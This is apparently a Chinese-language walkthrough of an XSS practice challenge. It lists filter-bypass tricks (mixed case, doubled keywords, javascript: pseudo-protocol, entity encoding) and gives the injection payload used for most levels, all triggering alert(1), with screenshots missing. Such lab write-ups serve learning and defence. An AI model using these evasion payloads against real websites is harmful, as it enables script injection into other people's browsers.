xss通关挑战

绕过规则

关键字被过滤的情况

1
2
<svg>
<svg onload="alert(1)">

大小写绕过

1
2
<ImG sRc=1 onerRor=alert(1);>
<SvG OnlOad="alert(1)">

双写关键字(有限制)

1
<imimgg srsrcc=x onerror=alert("xss");>

Javascript伪协议的使用

1
<table background="javascript:alert(1)"></table>

level1

image-20230314184958125

level2

1
"><script>alert(/xss/)</script>

image-20230314185020032

image-20230314185029867

level3

1
' onclick='alert(1)

image-20230314185054538

level5

javascript伪协议绕过

1
"><a href='javascript:alert(1)'>

level6

事件或javascript伪协议大小写绕过

1
2
3
"><a Href='javascript:alert(1)'>

" Onclick="alert(1)

level7

javascript伪协议双写绕过)

1
"><a hhrefref='javasscriptcript:alert(1)'>

level8

javascript伪协议实体编码绕过

1
十进制实体编码:javascrip&#116;:alert(1)
1
十六进制实体编码:javascrip&#x74;:alert(1)